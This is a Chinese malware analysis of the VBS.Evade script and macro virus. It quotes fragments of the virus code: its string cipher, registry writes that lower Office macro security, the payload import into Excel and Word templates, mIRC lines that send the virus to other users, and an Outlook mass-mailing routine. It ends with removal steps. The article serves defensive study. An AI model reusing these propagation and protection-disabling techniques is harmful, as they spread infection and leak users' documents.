叛逃者病毒分析
日期:2007-02-08 荐:
2003年2月,国内发现一个混合型脚本病毒“叛逃者”(VBS.Evade)病毒。该病毒不但感染脚本文件、Excel和Word文档,而且还会直接覆盖一部分音乐、视频及工作文档。与此同时,他还会通过email到处发放已被感染Office文档,造成用户重要信息泄露。因此,该病毒危害性极大。下面就该病毒的工作原理和解决办法具体分析介绍一下:一、该病毒的感染特征叛逃者病毒属于vbs脚本病毒,同时它也具有宏病毒的特征。当用户机器被感染这种病毒后,会发生以下变化:1.对注册表的修改a)添加HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Winsart,其值为Wscript.exe SysDir\ Winstart.vbs %1" ,其中SYSDir为用户的系统目录。b)修改HKEY_LOCAL_MACHINE\Software\Microsoft\Xl.Application.Version \Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft\Xl.Application.Version \Excel\Security\AcessVBOM为1c)修改HKEY_LOCAL_MACHINE\Software\Microsoft\Wd.Application.Version\Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft\Wd.Application.Version \Excel\Security\AcessVBOM为1d)在HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade\RecordContacts\键下面会建立相应的Email发送结果记录。e) 添加键值HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade VBS/Evade.A by Zed[rRlf]2.添加的文件该病毒运行后,会在用户的windows目录添加如下两个病毒体文件:Netlnk32.vbs,Conversation.vbe;会在用户的系统目录添加如下四个病毒体文件:Winstart.vbs,Wininst32.vbs,Winnt32.vbs,Winnet32.vbs;会在磁盘根目录(C盘除外)下建立文件Passwords.vbs。它们都是对病毒本身的完整备份。会在系统目录添加evade.gif,evade.jpg,这两个文件是用来载入到Excel和Word中的病毒文件副本,它们不同于前面的几个病毒体文件。3.对文件的修改如果存在personal.xls文件,则原有文件将被删除,并且建立新的personal.xls文件;否者,直接建立personal.xls文件。同时病毒也对Word的模版进行感染。如果存在MIRC,则修改Script.ini文件。4.被感染的文件类型病毒会对.vbs,.vbe文件进行感染,同时也会用病毒体对9个目录下的所有后缀为.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps的11种数据文件进行覆盖。二、该病毒的技术特点1.加密该病毒属于加密性病毒,并且加密手法与一般病毒不同:一般病毒是整体加密,但是该病毒只是对病毒中的某些关键字串进行了加密。叛逃者病毒加密算法比较简单,但是由于加密字串是分开的,并且是解密一处,执行一处。这样就无法整体对这个病毒进行解密。笔者在对这个病毒的部分字串进行解密时专门编写了一段小程序,这段程序我们在后面具体分析其加解密程序时介绍。2.脚本与宏病毒双重特性叛逃者病毒在感染vbs,vbe脚本病毒的同时,也感染了Word模版和Excel的personal.xls文件。在对Word和Excel进行感染处理,自我保护方面,和宏病毒所采取的手段是一模一样。可以说该病毒是结合了脚本与宏的特点。3.传播手段多样化该病毒用到了几乎现行所有脚本病毒曾经用过的传播方式:文件感染、Email传播、IRC通道传播、各种点对点共享工具传播(KaZza、Morpheus、 Grokster、 Bearshare、Edonkey),同时也采用了宏病毒的传播方式:通过模版、文档文件进行感染。4.代码破坏性极大病毒不对系统文件进行任何破坏,但是覆盖用户常用的一些宝贵数据如mp3,mpg,avi,Doc,pdf,mdb,ppt等文件。这种覆盖是不可逆的,并且病毒在借助其传播时并没有为这些宝贵数据留下副本。5.泄露用户资料同时,病毒还会自动通过email到处发送用户的office文档,泄露用户的数据信息。这对很对公司来说,内部文档被泄露会造成非常重大的经济损失或其它不良影响。三、该病毒运行的大致流程该病毒流程并不复杂,可以简单描述如下:1.复制病毒文件到用户windows目录和系统目录。2.修改注册表,改变Excel的安全级别3.写病毒代码到Evade.gif,并将Evade.gif导入到Personal.xls文件4.修改注册表,改变Word的安全级别5.写病毒代码到Evade.jpg,并将该文件导入到Word通用模版。6.搜索整个磁盘,在每个盘符(C盘除外)根目录下创建病毒副本Passwords.vbs7.感染硬盘上所有.vbs、.vbe文件8.对指定9个目录进行再次搜索,用病毒文件覆盖满足条件(指定11种后缀)的文件。9.如存在Mirc,修改Script.ini,使其可以通过Mirc聊天通道发送病毒文件Conversation.vbe。10.修改注册表,标明病毒作者信息及版本。通过以上步骤后,Excel和Word已被感染,当用户对这两种文档进行操作时,便会触发执行另外两段病毒代码。另外两段代码我们会在下一部分具体分析,这里不作介绍。四、具体代码分析1.主体病毒代码a)加密机制分析该病毒的解密函数代码如下:Function E0(E1)For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)If Not Asc(E3) Mod 2 = 0 Then 'E3的Ascii码是否为奇数 E3 = Chr(Asc(E3) - 1) '是Else E3 = Chr(Asc(E3) 1) '不是EndIfE0 = E0 & E3 '整合已经处理的字符Next '继续,直到整个字符串处理完毕End Function这个函数具有如下作用:对于给出的字符串E1,对于E1中的每个字符,如果该字符的Ascii码X为奇数那么用Ascii码值为X-1的字符代替这个字符,否则,用Ascii码值为X 1的字符代替这个字符。也就是说一个字符要么用它前面的字符代替,要么用它后面的字符代替。例如,F的Ascii码为70,那么F将被Ascii码为71的字符G代替,G将被F代替。那么对于病毒中的加密字符串Rbshquhof/GhmdRxrudlNckdbu,解密后的代码就是Scripting.FileSystemObject。同时,由上面F到G的相互转换,我们可以发现,一个字符经过该函数两次处理之后会还原。其实,这个函数也是该病毒的加密函数。由于该病毒加/解密是对部分字符串的,这样我们在分析这个病毒的样本时就通过解密函数无法一次还原出所有的加密代码。在分析该病毒的过程中,笔者编写了如下一段小程序进行解密(这段代码放在附件中):
Do while inchar"dyhu"inchar=InputBox("请输入加密字符串,结束请输入exit")inchar=E0(inchar)wscript.echo incharLoopFunction E0(E1)For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)If Not Asc(E3) Mod 2 = 0 Then E3 = Chr(Asc(E3) - 1)Else E3 = Chr(Asc(E3) 1)EndIfE0 = E0 & E3NextEnd Function为了方便大家理解,后面列出的代码中的加密字符串用解密过的字符串代替。b)对Excel所作的修改病毒对Excel作修改的代码分析如下:XlKey = "HKCU\Software\Microsoft\Office\" & Xl.Application.Version & "\Excel\Security")wsc.RegWrite XlKey & "Level", 1, "REG_DWORD"wsc.RegWrite XlKey & "AcessVBOM", 1, "REG_DWORD" '这里是写入注册表,修改Excel的安全等级……Xl.Visible = FalseXl.WorkBooks.AddXl.ActiveWorkbook.VBProject.VBComponents.Import (fso.GetSpecialFolder(1) & "\Evade.gif") '导入Evade.gif中的病毒代码Xl.ActiveWorkbook.SaveAs (Xl.Application.StartupPath & "\Personal.xls") '将Evade.gif的内容保存到Personal.xls文件Xl.Quit可见,通过上面这段程序,病毒将病毒代码写入到了Personal.xls,这样以后打开Excel时就会自动执行另外一段病毒代码。这段病毒代码后面会加以分析。c)对Word所作的修改病毒对Word作修改的代码分析如下:WdKey = "HKCU\Software\Microsoft\Office\" & Wd.Application.Version & "\Word\Secutiry\"wsc.RegWrite WdKey & "Level"), 1, "REG_DWORD")wsc.RegWrite WdKey & "AccessVBOM", 1, "REG_DWORD")'这里是写入注册表,修改Word的安全等级Wd.Options.VirusProtection = False '关闭病毒保护功能Wd.Options.SaveNormalPrompt = False '自动保存模版,不给用户提示Wd.Options.ConfirmConversions = False '不给出确认信息……If Wd.NormalTemplate.VBProject.VBComponents.Item("Evade").Name "Evade") ThenWd.NormalTemplate.VBProject.VBComponents.Import SysDir & "\Evade.jpg")Wd.NormalTemplate.VBProject.VBComponents.Item("Evade")).Name = "Evade")'将Evade.jpg的内容保存到Word通用模版End If可见,通过上面这段程序,病毒将病毒代码写入到了Word通用模版,这样以后打开Word时也会自动执行另外一段病毒代码。这段病毒代码后面也会加以分析。d)往Gif,Jpg文件中写入病毒主体代码时采取的方法病毒在往evade.gif,evade.jpg文件中写入的并不是直接的vbs代码,这段vbs代码写入时是通过一段转换代码处理过的,该段代码将病毒体的字符串转换为每个字符Ascii码串(其中Ascii码以16进制表示)。其具体代码分析如下:For i = 1 To Len(ScriptRead)Tz = Mid(ScriptRead, i, 1)Tz = Hex(Asc(Tz)) '取字符的Ascii码,并将其转化为16进制串If Len(Tz) = 1 Then '如果该字符的Ascii码小于等于F,譬如回车换行D,A Tz = E0("1") & Tz '在字符前面加0,譬如,将D转换为0D,补足两个字符,便于后面逆向处理End IfGz = Gz Tz '整合处理过的字符If Len(Gz) = 110 Then '如果处理的字符串达到110个字符(其实是55个字符,因为一个字符转换成16进制Ascii码后是两位) EM.WriteLine "Tz = Tz """ Gz Chr(34) '将处理过的110个字符写入文件,实际写到文件的是字符串Tz=Tz "处理过的110个字符" Gz = E0("") '将Gz清空,以便继续处理EndIfIf Len(ScriptRead) - i = 0 Then '如果所有字符已经处理完 EM.WriteLine "Tz = Tz """ Gz Chr(34) '将剩余处理过的字符串写入文件 Gz = E0("") '将Gz清空End IfNexte)病毒的感染部分叛逃者病毒会对整个磁盘进行搜索,寻找满足条件的文件,其搜索代码和爱虫病毒的搜索代码基本上是一模一样,同样是搜索到每个盘符后,先检查该盘符是否软磁盘或硬盘,如果是则对其进行递归、搜索每个文件夹,查找每个满足条件的文件,由于版面关系这里不再列出具体代码。不过这段搜索代码在找到C盘后,会在磁盘(C盘除外)根目录下创建一个名为passwords.vbs的病毒副本,这个文件名诱惑用户双击该文件,执行病毒代码。相关代码如下:If UCase(NetDrive.Path) "C:" Thenfso.CopyFile WScript.ScriptFullName, NetDrive.Path & "\Passwords.vbs")End If病毒为了避免反复感染同一个文件,会先查看该文件中是否含有病毒标记" ' VBS/Evade by Zed /[rRlf]",如果存在则不对其进行感染。这里病毒并没有对目标文件进行覆盖,而是将病毒代码写在了原来文件的末尾,并且这里写入的也是转换成16进制Ascii码后的病毒代码,紧接其后病毒写入了逆向转换代码和调用执行语句。另外,病毒还会对指定9个目录:C:KazaaMy Shared FolderC:My DownloadsC:ProgramFiles%KazaaMy Shared FolderC:ProgramFiles%KaZaA LiteMy Shared FolderC:ProgramFiles綼rshareSharedC:ProgramFiles韔nkey2000C:ProgramFiles%MorpheusMy Shared FolderC:ProgramFiles%GroksterMy GorksterC:ProgramFiles%ICQShared Files进行搜索,并对.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps等13种数据文件,进行覆盖:先创建一个以原文件名为前缀,vbs为后缀的病毒文件副本。然后,删除原来的文件。这样,用户在看到这些文件后,会以为这些文件是用户原来的文件而去双击它。这样病毒就得到了控制权。以上9个目录是网上进行文件共享时的默认目录,如果病毒覆盖了这些病毒中的文件,其它网络用户就会下载这些文件,这样病毒就得以广泛传播。这里不列出具体代码分析。f)利用Mirc进行传播叛逃者病毒可以利用Mirc聊天通道进行传播,他修改script.ini文件,使得Mirc会自动向通道中的其他好友发送病毒文件。病毒依次查找如下四个目录:
C:\MircC:\Mirc32\Mirc\Mirc32如果发现这些目录,则在该目录中添加或修改文件Script.ini,并在其中写入一些控制指令。这些指令可以自动往通道中的其他用户发送病毒文件。添加的指令如下:;Mirc Scripting utility –do not modify[Script]n5=no 1:Join:# ;{n6=/if ($nick= =$me) {halt}n7=/msg $nick Remember this funny conversation I had on IRC?n8=/dcc send –c $nick WinDir \Conversation.vben9=}2.两个“图片”文件的代码分析a)evade.gif文件该文件是要被导入到personal.xls文件中的病毒副本。该病毒副本首先修改Excel安全等级,并建立一个Auto_Open函数,该函数只有一条调用osaEvade过程的语句。OsaEvade是病毒发作部分。我们知道Auto_Open函数在用户打开文档时是会自动执行的。这样,每次打开Excel文档时,病毒就会获得控制权。这也是宏病毒常用的手段。同时,病毒还做了一些基本的隐蔽措施,如下所示:Application.ScreenUpdating = False '不让屏幕更新,让病毒执行时不影响计算机速度Application.DisplayAlerts = False '不让Excel弹出报警信息Application.EnableCancelKey = xlDisabled '使不可以通过Esp键取消正在执行的宏Application.DisplayStatusBar = False '不显示状态栏,以免暴露病毒的运行情况同时,病毒还会检查相应目录下是否存在personal.xls,Winstart.vbs,如果不存在,马上以evade.gif文件为样本创建这两个文件。在这个文件中最重要的一个步骤就是从当前outlook中的电话簿中找到email地址,并发送带毒office文档。部分代码分析如下:EmailKey = "HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade\RecordContacts\"ReadIfSent = wsc.RegRead(EmailKey & ContactSwitch.AddressEntries(UserGroup)) '从注册表中读取信息,看是否已向该邮件地址发送过?If ReadIfSent "File Sent" Then '如果没有发送过,则继续Set OutlookEmail = OutlookApp.CreateItem(0)OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup) '收件人OutlookEmail.Subject = L6 '邮件标题,该标题是从7个标题中随机选取的OutlookEmail.Body = "The file I am sending you is confidential as well as important; so don't let anyone else have a copy." '邮件内容OutlookEmail.Attachments.Add ActiveWorkbook.FullName '邮件附件,这里贴上的是染毒的office文档,因此会造成文件泄露OutlookEmail.Importance = 2 '文件重要等级OutlookEmail.DeleteAfterSubmit = True '发送后自我删除OutlookEmail.Send '发送邮件wsc.RegWrite EmailKey & ContactSwitch.AddressEntries(UserGroup), "File Sent" '在注册表中记录,以免重复发送End If另外该文件中含有一个非常重要的转换函数,前面讲过主病毒文件被写入到这个文件时是经过Ascii码转换的。要让这段代码写入到Winstart.vbs中能执行,这里就需要对其做恢复转换。这个函数如下所示:Function CM(CN)For GC = 1 To Len(CN) Step 2 '以两个字符为单位,因为一个字符转换成10进制Ascii码后时为两个字符 CM = CM & Chr("&h" & Mid(CN, GC, 2)) '譬如A的Asii码为65,转换为16进制为41,这里就是将41转换成字符ANextEnd Functionb)evade.jpg文件这个文件开始是用于导入到Word通用模版的。该病毒副本同样修改了Word安全等级,并创建了AutoClose,AutoOpen,ViewVBCode,Evade过程。其中,Evade过程中是病毒表现代码。前两个在Word关闭,打开文件时会自动执行,并且这两个过程均调用了Evade过程。这里ViewVBCode过程中没有任何语句,这样,当用户按ALT F8后就不会调出宏编辑窗口,而是不做任何动作。这从某种程度上保护了病毒程序不被他人分析。另外,和evade.gif文件一样,病毒也做了一些基本的隐蔽措施,如下所示:Application.DisplayStatusBar = 0 '不显示状态栏,以免暴露病毒的运行情况Application.ScreenUpdating = 0 '不让屏幕更新,让病毒执行时不影响计算机速度Application.EnableCancelKey = wdCancelDisabled '使不可以通过Esp键取消正在执行的宏Application.DisplayAlerts = wdAlertsNone '不让Excel弹出报警信息CommandBars("Tools").Controls("Macro").Enabled = 0 '屏蔽工具菜单中的“宏”CommandBars("Macro").Controls("Security...").Enabled = 0 '屏蔽宏菜单的“安全性…”CommandBars("Macro").Controls("Macros...").Enabled = 0 '屏蔽宏菜单的“宏…”CommandBars("Tools").Controls("Customize...").Enabled = 0 '屏蔽工具菜单的“自定义…”CommandBars("View").Controls("Toolbars").Enabled = 0 '屏蔽视图宏菜单的“工具栏”CommandBars("format").Controls("Object...").Enabled = 0 '屏蔽格式菜单的“对象”这样,病毒通过这些设置就可以防止用户通过对word进行一些设置查看和解除宏病毒代码。另外,其它部分和evade.gif文件功能基本上一样。该文件同样含有email发送代码和恢复转换函数,并且原理一模一样,这里不在具体叙述。五、如何解除这种病毒由于叛逃者病毒不仅感染了vbs脚本文件、覆盖了其它类型的文件,同时也感染了Word,Excel,因此该病毒在解除过程中不得运行脚本文件,也不得对Word,Excel进行操作。下面简要谈一下这个病毒的解除思路:1.按照上面所提到的部分删除或者改回被修改过的注册表键值。2.删除上面提到的9个目录中的所有被感染文件、evade.gif、evade.jpg、Personal.xls,\Passwords.vbs。还有windows和系统目录下的5个vbs、1个vbe文件。3.查找被感染的vbe,vbs文件,编辑,并删除文件后面的病毒代码。4.对Excel和Word进行解毒,并且还要杀除已被感染文档中的病毒。5.如果有Mirc,还需修改Script.ini文件,删除后来添加的几个命令行。上面有些步骤比较复杂,建议一般用户采用杀毒软件进行杀毒。后记:叛逃者病毒并没有采用什么新颖的技术,特别是宏病毒部分已经是非常古老原始的技术了,但是该病毒却完全不顾及用户宝贵数据和隐私,破坏性极大,这不得不让我们为此担忧。笔者认为,一个真正的好病毒,是会尽量避免造成破坏的,笔者衷心希望以后这种没有任何美感的低劣病毒不会反复出现。
标签: